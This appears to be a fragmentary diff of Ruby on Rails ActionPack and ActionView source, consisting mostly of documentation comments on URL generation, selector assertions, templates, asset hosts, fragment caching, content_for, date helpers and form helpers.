+ #
+ # * <tt>edit_polymorphic_url</tt>, <tt>edit_polymorphic_path</tt>
+ # * <tt>new_polymorphic_url</tt>, <tt>new_polymorphic_path</tt>
+ #
+ # Example usage:
+ #
+ # edit_polymorphic_path(@post) # => "/posts/1/edit"
+ # polymorphic_path(@post, format: :pdf) # => "/posts/1.pdf"
+ #
+ # == Usage with mounted engines
+ #
+ # If you are using a mounted engine and you need to use a polymorphic_url
+ # pointing at the engine's routes, pass in the engine's route proxy as the first
+ # argument to the method. For example:
+ #
+ # polymorphic_url([blog, @post]) # calls blog.post_path(@post)
+ # form_for([blog, @post]) # => "/blog/posts/1"
+ #
+ module PolymorphicRoutes
+ include ActionController::ModelNaming
+
+ # Constructs a call to a named RESTful route for the given record and returns the
+ # resulting URL string. For example:
+ #
+ # # calls post_url(post)
+ # polymorphic_url(post) # => "http://example.com/posts/1"
+ # polymorphic_url([blog, post]) # => "http://example.com/blogs/1/posts/1"
+ # polymorphic_url([:admin, blog, post]) # => "http://example.com/admin/blogs/1/posts/1"
+ # polymorphic_url([user, :blog, post]) # => "http://example.com/users/1/blog/posts/1"
+ # polymorphic_url(Comment) # => "http://example.com/comments"
+ #
+ # ==== Options
+ #
+ # * <tt>:action</tt> - Specifies the action prefix for the named route:
+ # <tt>:new</tt> or <tt>:edit</tt>. Default is no prefix.
+ # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
+ # Default is <tt>:url</tt>.
+ #
+ # # an Article record
+ # polymorphic_url(record) # same as article_url(record)
+ #
+ # # a Comment record
+ # polymorphic_url(record) # same as comment_url(record)

+module ActionDispatch
+ module Routing
+ # In <tt>config/routes.rb</tt> you define URL-to-controller mappings, but the reverse
+ # is also possible: an URL can be generated from one of your routing definitions.
+ # URL generation functionality is centralized in this module.
+ #
+ # See ActionDispatch::Routing for general information about routing and routes.rb.
+ #
+ # <b>Tip:</b> If you need to generate URLs from your models or some other place,
+ # then ActionController::UrlFor is what you're looking for. Read on for
+ # an introduction. In general, this module should not be included on its own,
+ # as it is usually included by url_helpers (as in Rails.application.routes.url_helpers).
+ #
+ # == URL generation from parameters
+ #
+ # As you may know, some functions, such as ActionController::Base#url_for
+ # and ActionView::Helpers::UrlHelper#link_to, can generate URLs given a set
+ # of parameters. For example, you've probably had the chance to write code
+ # like this in one of your views:
+ #
+ # <%= link_to('Click here', controller: 'users',
+ # action: 'new', message: 'Welcome!') %>
+ # # => "/users/new?message=Welcome%21"
+ #
+ # link_to, and all other functions that require URL generation functionality,
+ # actually use ActionController::UrlFor under the hood. And in particular,
+ # they use the ActionController::UrlFor#url_for method. One can generate
+ # the same path as the above example by using the following code:
+ #
+ # include UrlFor
+ # url_for(controller: 'users',
+ # action: 'new',
+ # message: 'Welcome!',
+ # only_path: true)
+ # # => "/users/new?message=Welcome%21"
+ #
+ # Notice the <tt>only_path: true</tt> part. This is because UrlFor has no
+ # information about the website hostname that your Rails app is serving. So if you
+ # want to include the hostname as well, then you must also pass the <tt>:host</tt>
+ # argument:
+ #
+ # include UrlFor
+ # url_for(controller: 'users',
+ # action: 'new',
+ # message: 'Welcome!',
+ # host: 'www.example.com')
+ # # => "http://www.example.com/users/new?message=Welcome%21"
+ #
+ # By default, all controllers and views have access to a special version of url_for,
+ # that already knows what the current hostname is. So if you use url_for in your
+ # controllers or your views, then you don't need to explicitly pass the <tt>:host</tt>
+ # argument.
+ #
+ # For convenience reasons, mailers provide a shortcut for ActionController::UrlFor#url_for.
+ # So within mailers, you only have to type 'url_for' instead of 'ActionController::UrlFor#url_for'
+ # in full. However, mailers don't have hostname information, and that's why you'll still
+ # have to specify the <tt>:host</tt> argument when generating URLs in mailers.
+ #
+ #
+ # == URL generation for named routes
+ #
+ # UrlFor also allows one to access methods that have been auto-generated from
+ # named routes. For example, suppose that you have a 'users' resource in your
+ # <tt>config/routes.rb</tt>:
+ #
+ # resources :users
+ #
+ # This generates, among other things, the method <tt>users_path</tt>. By default,
+ # this method is accessible from your controllers, views and mailers. If you need
+ # to access this auto-generated method from other places (such as a model), then
+ # you can do that by including Rails.application.routes.url_helpers in your class:
+ #
+ # class User < ActiveRecord::Base
+ # include Rails.application.routes.url_helpers
+ #
+ # def base_uri
+ # user_path(self)
+ # end
+ # end
+ #
+ # User.find(1).base_uri # => "/users/1"
+ #
+ module UrlFor
+ extend ActiveSupport::Concern

+

+ unless method_defined?(:default_url_options)
+ # Including in a class uses an inheritable hash. Modules get a plain hash.

+ # If <tt>:only_path</tt> is false, this option must be
+ # provided either explicitly, or via +default_url_options+.

+ # to split the subdomain from the host.
+ # If false, removes all subdomains from the host part of the link.
+ # * <tt>:domain</tt> - Specifies the domain of the link, using the +tld_length+
+ # to split the domain from the host.
+ # * <tt>:tld_length</tt> - Number of labels the TLD id composed of, only used if
+ # <tt>:subdomain</tt> or <tt>:domain</tt> are supplied. Defaults to

+module ActionDispatch
+ module Assertions
+ NO_STRIP = %w{pre script style textarea}
+
+ # Adds the +assert_select+ method for use in Rails functional
+ # test cases, which can be used to make assertions on the response HTML of a controller
+ # action. You can also call +assert_select+ within another +assert_select+ to
+ # make assertions on elements selected by the enclosing assertion.
+ #
+ # Use +css_select+ to select elements without making an assertions, either
+ # from the response HTML or elements selected by the enclosing assertion.
+ #
+ # In addition to HTML responses, you can make the following assertions:
+ #
+ # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
+ # * +assert_select_email+ - Assertions on the HTML body of an e-mail.
+ #
+ # Also see HTML::Selector to learn how to use selectors.
+ module SelectorAssertions
+ # Select and return all matching elements.
+ #
+ # If called with a single argument, uses that argument as a selector
+ # to match all elements of the current page. Returns an empty array
+ # if no match is found.
+ #
+ # If called with two arguments, uses the first argument as the base
+ # element and the second argument as the selector. Attempts to match the
+ # base element and any of its children. Returns an empty array if no
+ # match is found.
+ #
+ # The selector may be a CSS selector expression (String), an expression
+ # with substitution values (Array) or an HTML::Selector object.
+ #
+ # # Selects all div tags
+ # divs = css_select("div")
+ #
+ # # Selects all paragraph tags and does something interesting
+ # pars = css_select("p")
+ # pars.each do |par|
+ # # Do something fun with paragraphs here...
+ # end
+ #
+ # # Selects all list items in unordered lists
+ # items = css_select("ul>li")
+ #
+ # # Selects all form tags and then all inputs inside the form
+ # forms = css_select("form")

+ #
+ # If the first argument is an element, selects all matching elements
+ # starting from (and including) that element and all its children in
+ # depth-first order.
+ #
+ # If no element if specified, calling +assert_select+ selects from the
+ # response HTML unless +assert_select+ is called from within an +assert_select+ block.
+ #
+ # When called with a block +assert_select+ passes an array of selected elements
+ # to the block. Calling +assert_select+ from the block, with no element specified,
+ # runs the assertion on the complete set of elements selected by the enclosing assertion.
+ # Alternatively the array may be iterated through so that +assert_select+ can be called
+ # separately for each element.
+ #
+ #
+ # ==== Example
+ # If the response contains two ordered lists, each with four list elements then:
+ # assert_select "ol" do |elements|
+ # elements.each do |element|
+ # assert_select element, "li", 4
+ # end
+ # end
+ #
+ # will pass, as will:
+ # assert_select "ol" do
+ # assert_select "li", 8
+ # end
+ #
+ # The selector may be a CSS selector expression (String), an expression
+ # with substitution values, or an HTML::Selector object.
+ #
+ # === Equality Tests
+ #
+ # The equality test may be one of the following:
+ # * <tt>true</tt> - Assertion is true if at least one element selected.
+ # * <tt>false</tt> - Assertion is true if no element selected.
+ # * <tt>String/Regexp</tt> - Assertion is true if the text value of at least
+ # one element matches the string or regular expression.
+ # * <tt>Integer</tt> - Assertion is true if exactly that number of
+ # elements are selected.
+ # * <tt>Range</tt> - Assertion is true if the number of selected
+ # elements fit the range.
+ # If no equality test specified, the assertion is true if at least one
+ # element selected.
+ #
+ # To perform more than one equality tests, use a hash with the following keys:
+ # * <tt>:text</tt> - Narrow the selection to elements that have this text
+ # value (string or regexp).
+ # * <tt>:html</tt> - Narrow the selection to elements that have this HTML
+ # content (string or regexp).
+ # * <tt>:count</tt> - Assertion is true if the number of selected elements
+ # is equal to this value.
+ # * <tt>:minimum</tt> - Assertion is true if the number of selected
+ # elements is at least this value.
+ # * <tt>:maximum</tt> - Assertion is true if the number of selected
+ # elements is at most this value.
+ #
+ # If the method is called with a block, once all equality tests are
+ # evaluated the block is called with an array of all matched elements.
+ #
+ # # At least one form element
+ # assert_select "form"
+ #
+ # # Form element includes four input fields
+ # assert_select "form input", 4
+ #
+ # # Page title is "Welcome"
+ # assert_select "title", "Welcome"

+module ActionView #:nodoc:
+ # = Action View Base
+ #
+ # Action View templates can be written in several ways. If the template file has a <tt>.erb</tt> extension then it uses a mixture of ERB
+ # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> extension then Jim Weirich's Builder::XmlMarkup library is used.
+ #
+ # == ERB
+ #
+ # You trigger ERB by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
+ # following loop for names:
+ #
+ # <b>Names of all the people</b>
+ # <% @people.each do |person| %>
+ # Name: <%= person.name %><br/>
+ # <% end %>
+ #
+ # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
+ # is not just a usage suggestion. Regular output functions like print or puts won't work with ERB templates. So this would be wrong:
+ #
+ # <%# WRONG %>
+ # Hi, Mr. <% puts "Frodo" %>
+ #
+ # If you absolutely must write from within a function use +concat+.
+ #
+ # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
+ #
+ # === Using sub templates
+ #
+ # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
+ # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
+ #
+ # <%= render "shared/header" %>
+ # Something really specific and terrific
+ # <%= render "shared/footer" %>
+ #
+ # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
+ # result of the rendering. The output embedding writes it to the current template.
+ #
+ # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
+ # variables defined using the regular embedding tags. Like this:
+ #
+ # <% @page_title = "A Wonderful Hello" %>
+ # <%= render "shared/header" %>
+ #
+ # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
+ #
+ # <title><%= @page_title %></title>
+ #
+ # === Passing local variables to sub templates
+ #
+ # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
+ #
+ # <%= render "shared/header", { headline: "Welcome", person: person } %>
+ #
+ # These can now be accessed in <tt>shared/header</tt> with:
+ #
+ # Headline: <%= headline %>
+ # First name: <%= person.first_name %>
+ #
+ # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
+ # you need to use the following pattern:
+ #
+ # <% if local_assigns.has_key? :headline %>
+ # Headline: <%= headline %>
+ # <% end %>
+ #
+ # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
+ #
+ # === Template caching
+ #
+ # By default, Rails will compile each template to a method in order to render it. When you alter a template,
+ # Rails will check the file's modification time and recompile it in development mode.
+ #
+ # == Builder
+ #
+ # Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object
+ # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+ #
+ # Here are some basic examples:
+ #
+ # xml.em("emphasized") # => <em>emphasized</em>
+ # xml.em { xml.b("emph & bold") } # => <em><b>emph & bold</b></em>
+ # xml.a("A Link", "href" => "http://onestepback.org") # => <a href="http://onestepback.org">A Link</a>
+ # xml.target("name" => "compile", "option" => "fast") # => <target option="fast" name="compile"\>
+ # # NOTE: order of attributes is not specified.
+ #
+ # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+ #
+ # xml.div do
+ # xml.h1(@person.name)
+ # xml.p(@person.bio)
+ # end
+ #
+ # would produce something like:
+ #
+ # <div>
+ # <h1>David Heinemeier Hansson</h1>
+ # <p>A product of Danish Design during the Winter of '79...</p>
+ # </div>
+ #
+ # A full-length RSS example actually used on Basecamp:
+ #
+ # xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+ # xml.channel do
+ # xml.title(@feed_title)
+ # xml.link(@url)
+ # xml.description "Basecamp: Recent items"
+ # xml.language "en-us"
+ # xml.ttl "40"
+ #
+ # @recent_items.each do |item|
+ # xml.item do
+ # xml.title(item_title(item))
+ # xml.description(item_description(item)) if item_description(item)
+ # xml.pubDate(item_pubDate(item))
+ # xml.guid(@person.firm.account.url + @recent_items.url(item))
+ # xml.link(@person.firm.account.url + @recent_items.url(item))
+ #
+ # xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+ # end
+ # end
+ # end
+ # end

+ module Helpers

+ # urls.

+ # # => "/assets/rails.png"
+ #
+ # image_url("rails.png")
+ # # => "http://www.example.com/assets/rails.png"
+ #
+ # === Using asset hosts
+ #
+ # By default, Rails links to these assets on the current host in the public
+ # folder, but you can direct Rails to link to assets from a dedicated asset
+ # server by setting <tt>ActionController::Base.asset_host</tt> in the application
+ # configuration, typically in <tt>config/environments/production.rb</tt>.
+ # For example, you'd define <tt>assets.example.com</tt> to be your asset
+ # host this way, inside the <tt>configure</tt> block of your environment-specific
+ # configuration files or <tt>config/application.rb</tt>:
+ #
+ # config.action_controller.asset_host = "assets.example.com"
+ #
+ # Helpers take that into account:
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # Browsers typically open at most two simultaneous connections to a single
+ # host, which means your assets often have to wait for other assets to finish
+ # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
+ # +asset_host+. For example, "assets%d.example.com". If that wildcard is
+ # present Rails distributes asset requests among the corresponding four hosts
+ # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
+ # will open eight simultaneous connections rather than two.
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # To do this, you can either setup four actual hosts, or you can use wildcard
+ # DNS to CNAME the wildcard to a single asset host. You can read more about
+ # setting up your DNS CNAME records from your ISP.
+ #
+ # Note: This is purely a browser performance optimization and is not meant
+ # for server load balancing. See http://www.die.net/musings/page_load_time/
+ # for background.
+ #
+ # Alternatively, you can exert more control over the asset host by setting
+ # +asset_host+ to a proc like this:
+ #
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
+ # }
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # The example above generates "http://assets1.example.com" and
+ # "http://assets2.example.com". This option is useful for example if
+ # you need fewer/more than four hosts, custom host names, etc.
+ #
+ # As you see the proc takes a +source+ parameter. That's a string with the
+ # absolute path of the asset, for example "/assets/rails.png".
+ #
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # if source.ends_with?('.css')
+ # "http://stylesheets.example.com"
+ # else
+ # "http://assets.example.com"
+ # end
+ # }
+ # image_tag("rails.png")
+ # # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
+ # stylesheet_link_tag("application")
+ # # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
+ #
+ # Alternatively you may ask for a second parameter +request+. That one is
+ # particularly useful for serving assets from an SSL-protected page. The
+ # example proc below disables asset hosting for HTTPS connections, while
+ # still sending assets for plain HTTP requests from asset hosts. If you don't
+ # have SSL certificates for each of the asset hosts this technique allows you
+ # to avoid warnings in the client about mixed media.
+ #
+ # config.action_controller.asset_host = Proc.new { |source, request|
+ # if request.ssl?
+ # "#{request.protocol}#{request.host_with_port}"
+ # else
+ # "#{request.protocol}assets.example.com"
+ # end
+ # }
+ #
+ # You can also implement a custom asset host object that responds to +call+
+ # and takes either one or two parameters just like the proc.
+ #
+ # config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
+ # "http://asset%d.example.com", "https://asset1.example.com"
+ # )

+ # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
+ # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.fullpath.split(".")[0]}"
+ # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
+ # created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
+ # 2005 is used (as an "I don't care" value).
+ # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
+ #

+module ActionView
+ # = Action View Cache Helper
+ module Helpers
+ module CacheHelper
+ # This helper exposes a method for caching fragments of a view
+ # rather than an entire action or page. This technique is useful
+ # caching pieces like menus, lists of newstopics, static HTML
+ # fragments, and so on. This method takes a block that contains
+ # the content you wish to cache.
+ #
+ # The best way to use this is by doing key-based cache expiration
+ # on top of a cache store like Memcached that'll automatically
+ # kick out old entries. For more on key-based expiration, see:
+ # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
+ #
+ # When using this method, you list the cache dependency as the name of the cache, like so:
+ #
+ # <% cache project do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This approach will assume that when a new topic is added, you'll touch
+ # the project. The cache key generated from this call will be something like:
+ #
+ # views/projects/123-20120806214154/7a1156131a6928cb0026877f8b749ac9
+ # ^class ^id ^updated_at ^template tree digest
+ #
+ # The cache is thus automatically bumped whenever the project updated_at is touched.
+ #
+ # If your template cache depends on multiple sources (try to avoid this to keep things simple),
+ # you can name all these dependencies as part of an array:
+ #
+ # <% cache [ project, current_user ] do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # This will include both records as part of the cache key and updating either of them will
+ # expire the cache.
+ #
+ # ==== Template digest
+ #
+ # The template digest that's added to the cache key is computed by taking an md5 of the
+ # contents of the entire template file. This ensures that your caches will automatically
+ # expire when you change the template file.
+ #
+ # Note that the md5 is taken of the entire template file, not just what's within the
+ # cache do/end call. So it's possible that changing something outside of that call will
+ # still expire the cache.
+ #
+ # Additionally, the digestor will automatically look through your template file for
+ # explicit and implicit dependencies, and include those as part of the digest.
+ #
+ # The digestor can be bypassed by passing skip_digest: true as an option to the cache call:
+ #
+ # <% cache project, skip_digest: true do %>
+ # <b>All the topics on this project</b>
+ # <%= render project.topics %>
+ # <% end %>
+ #
+ # ==== Implicit dependencies
+ #
+ # Most template dependencies can be derived from calls to render in the template itself.
+ # Here are some examples of render calls that Cache Digests knows how to decode:
+ #
+ # render partial: "comments/comment", collection: commentable.comments
+ # render "comments/comments"
+ # render 'comments/comments'
+ # render('comments/comments')
+ #
+ # render "header" => render("comments/header")
+ #
+ # render(@topic) => render("topics/topic")
+ # render(topics) => render("topics/topic")
+ # render(message.topics) => render("topics/topic")
+ #
+ # It's not possible to derive all render calls like that, though. Here are a few examples of things that can't be derived:
+ #
+ # render group_of_attachments
+ # render @project.documents.where(published: true).order('created_at')
+ #
+ # You will have to rewrite those to the explicit form:
+ #
+ # render partial: 'attachments/attachment', collection: group_of_attachments
+ # render partial: 'documents/document', collection: @project.documents.where(published: true).order('created_at')
+ #
+ # === Explicit dependencies
+ #
+ # Some times you'll have template dependencies that can't be derived at all. This is typically
+ # the case when you have template rendering that happens in helpers. Here's an example:
+ #
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # You'll need to use a special comment format to call those out:
+ #
+ # <%# Template Dependency: todolists/todolist %>
+ # <%= render_sortable_todolists @project.todolists %>
+ #
+ # The pattern used to match these is /# Template Dependency: ([^ ]+)/, so it's important that you type it out just so.
+ # You can only declare one template dependency per line.
+ #
+ # === External dependencies
+ #
+ # If you use a helper method, for example, inside of a cached block and you then update that helper,
+ # you'll have to bump the cache as well. It doesn't really matter how you do it, but the md5 of the template file
+ # must change. One recommendation is to simply be explicit in a comment, like:
+ #
+ # <%# Helper Dependency Updated: May 6, 2012 at 6pm %>
+ # <%= some_helper_method(person) %>
+ #
+ # Now all you'll have to do is change that timestamp when the helper method changes.

+
+ # Calling content_for stores a block of markup in an identifier for later use.
+ # In order to access this stored content in other templates, helper modules

+ #
+ # You can also use the <tt>yield</tt> syntax alongside an existing call to

+ # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+ # <head>
+ # <title>My Website</title>
+ # <%= yield :script %>
+ # </head>
+ # <body>
+ # <%= yield %>
+ # </body>

+ #
+ # And now, we'll create a view that has a <tt>content_for</tt> call that

+ #
+ # <%# This is our view %>
+ # Please login!
+ #
+ # <% content_for :script do %>
+ # <script>alert('You are not authorized to view this page!')</script>
+ # <% end %>
+ #
+ # Then, in another view, you could to do something like this:
+ #
+ # <%= link_to 'Logout', action: 'logout', remote: true %>
+ #
+ # <% content_for :script do %>
+ # <%= javascript_include_tag :defaults %>
+ # <% end %>
+ #
+ # That will place +script+ tags for your default set of JavaScript files on the page;
+ # this technique is useful if you'll only be using these scripts in a few views.
+ #
+ # Note that content_for concatenates (default) the blocks it is given for a particular
+ # identifier in order. For example:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Home', action: 'index' %></li>
+ # <% end %>
+ #
+ # And in other place:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Login', action: 'login' %></li>
+ # <% end %>
+ #
+ # Then, in another template or layout, this code would render both links in order:
+ #
+ # <ul><%= content_for :navigation %></ul>
+ #
+ # If the flush parameter is true content_for replaces the blocks it is given. For example:
+ #
+ # <% content_for :navigation do %>
+ # <li><%= link_to 'Home', action: 'index' %></li>

+ # <li><%= link_to 'Login', action: 'login' %></li>
+ # <% end %>

+ # Then, in another template or layout, this code would render only the last link:

+ # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time
+ # elements. All of the select-type methods share a number of common options that are as follows:
+ #
+ # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday"
+ # would give \birthday[month] instead of \date[month] if passed to the <tt>select_month</tt> method.
+ # * <tt>:include_blank</tt> - set to true if it should be possible to set an empty date.
+ # * <tt>:discard_type</tt> - set to true if you want to discard the type part of the select name. If set to true,
+ # the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
+ # of \date[month].
+ module DateHelper
+ # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
+ # Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
+ # Distances are reported based on the following table:
+ #
+ # 0 <-> 29 secs # => less than a minute
+ # 30 secs <-> 1 min, 29 secs # => 1 minute
+ # 1 min, 30 secs <-> 44 mins, 29 secs # => [2..44] minutes

+ # 41 hrs, 59 mins, 30 secs <-> 29 days, 23 hrs, 59 mins, 29 secs # => [2..29] days
+ # 29 days, 23 hrs, 59 mins, 30 secs <-> 44 days, 23 hrs, 59 mins, 29 secs # => about 1 month
+ # 44 days, 23 hrs, 59 mins, 30 secs <-> 59 days, 23 hrs, 59 mins, 29 secs # => about 2 months
+ # 59 days, 23 hrs, 59 mins, 30 secs <-> 1 yr minus 1 sec # => [2..12] months
+ # 1 yr <-> 1 yr, 3 months # => about 1 year
+ # 1 yr, 3 months <-> 1 yr, 9 months # => over 1 year

+ # ==== Options
+ # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
+ # "2" instead of "February").
+ # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.

+ # * <tt>:use_short_month</tt> - Set to true if you want to use abbreviated month names instead of full
+ # month names (e.g. "Feb" instead of "February").
+ # * <tt>:add_month_numbers</tt> - Set to true if you want to use both month numbers and month names (e.g.
+ # "2 - February" instead of "February").
+ # * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
+ # Note: You can also use Rails' i18n functionality for this.
+ # * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
+ # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
+ # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
+ # * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
+ # as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
+ # first of the given month in order to not create invalid dates like 31 February.
+ # * <tt>:discard_month</tt> - Set to true if you don't want to show a month select. This includes the month
+ # as a hidden field instead of showing a select field. Also note that this implicitly sets :discard_day to true.
+ # * <tt>:discard_year</tt> - Set to true if you don't want to show a year select. This includes the year
+ # as a hidden field instead of showing a select field.
+ # * <tt>:order</tt> - Set to an array containing <tt>:day</tt>, <tt>:month</tt> and <tt>:year</tt> to
+ # customize the order in which the select fields are shown. If you leave out any of the symbols, the respective
+ # select will not be shown (like when you set <tt>discard_xxx: true</tt>. Defaults to the order defined in
+ # the respective locale (e.g. [:year, :month, :day] in the en locale that ships with Rails).
+ # * <tt>:include_blank</tt> - Include a blank option in every select field so it's possible to set empty
+ # dates.
+ # * <tt>:default</tt> - Set a default date if the affected date isn't set or is nil.
+ # * <tt>:selected</tt> - Set a date that overrides the actual value.
+ # * <tt>:disabled</tt> - Set to true if you want show the select fields as disabled.
+ # * <tt>:prompt</tt> - Set to true (for a generic prompt), a prompt string or a hash of prompt strings
+ # for <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:minute</tt> and <tt>:second</tt>.
+ # Setting this option prepends a select option with a generic prompt (Day, Month, Year, Hour, Minute, Seconds)
+ # or the given prompt string.
+ # * <tt>:with_css_classes</tt> - Set to true if you want assign different styles for 'select' tags. This option
+ # automatically set classes 'year', 'month', 'day', 'hour', 'minute' and 'second' for your 'select' tags.

+module ActionView
+ # = Action View Form Helpers
+ module Helpers
+ # Form helpers are designed to make working with resources much easier
+ # compared to using vanilla HTML.
+ #
+ # Typically, a form designed to create or update a resource reflects the
+ # identity of the resource in several ways: (i) the url that the form is
+ # sent to (the form element's +action+ attribute) should result in a request
+ # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
+ # parameter in the case of an existing resource), (ii) input fields should
+ # be named in such a way that in the controller their values appear in the
+ # appropriate places within the +params+ hash, and (iii) for an existing record,
+ # when the form is initially displayed, input fields corresponding to attributes
+ # of the resource should show the current values of those attributes.
+ #
+ # In Rails, this is usually achieved by creating the form using +form_for+ and
+ # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
+ # tag and yields a form builder object that knows the model the form is about.
+ # Input fields are created by calling methods defined on the form builder, which
+ # means they are able to generate the appropriate names and default values
+ # corresponding to the model attributes, as well as convenient IDs, etc.
+ # Conventions in the generated field names allow controllers to receive form data
+ # nicely structured in +params+ with no effort on your side.
+ #
+ # For example, to create a new person you typically set up a new instance of
+ # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
+ # in the view template pass that object to +form_for+:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.label :first_name %>:
+ # <%= f.text_field :first_name %><br />
+ #
+ # <%= f.label :last_name %>:
+ # <%= f.text_field :last_name %><br />
+ #
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # The HTML generated for this would be (modulus formatting):
+ #
+ # <form action="/people" class="new_person" id="new_person" method="post">
+ # <div style="margin:0;padding:0;display:inline">
+ # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+ # </div>
+ # <label for="person_first_name">First name</label>:
+ # <input id="person_first_name" name="person[first_name]" type="text" /><br />
+ #
+ # <label for="person_last_name">Last name</label>:
+ # <input id="person_last_name" name="person[last_name]" type="text" /><br />
+ #
+ # <input name="commit" type="submit" value="Create Person" />
+ # </form>
+ #
+ # As you see, the HTML reflects knowledge about the resource in several spots,
+ # like the path the form should be submitted to, or the names of the input fields.
+ #
+ # In particular, thanks to the conventions followed in the generated field names, the
+ # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
+ # set in the form. That hash is ready to be passed to <tt>Person.create</tt>:
+ #
+ # if @person = Person.create(params[:person])
+ # # success
+ # else
+ # # error handling
+ # end
+ #
+ # Interestingly, the exact same view code in the previous example can be used to edit
+ # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
+ # the code above as is would yield instead:
+ #
+ # <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
+ # <div style="margin:0;padding:0;display:inline">
+ # <input name="_method" type="hidden" value="patch" />
+ # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+ # </div>
+ # <label for="person_first_name">First name</label>:
+ # <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
+ #
+ # <label for="person_last_name">Last name</label>:
+ # <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
+ #
+ # <input name="commit" type="submit" value="Update Person" />
+ # </form>
+ #
+ # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
+ # That works that way because the involved helpers know whether the resource is a new record or not,
+ # and generate HTML accordingly.
+ #
+ # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
+ # passed to <tt>Person#update</tt>:
+ #
+ # if @person.update(params[:person])
+ # # success
+ # else
+ # # error handling
+ # end
+ #
+ # That's how you typically work with resources.
+ module FormHelper
+ extend ActiveSupport::Concern
+
+ include FormTagHelper
+ include UrlHelper
+ include ModelNaming
+
+ # Creates a form that allows the user to create or update the attributes
+ # of a specific model object.
+ #
+ # The method can be used in several slightly different ways, depending on
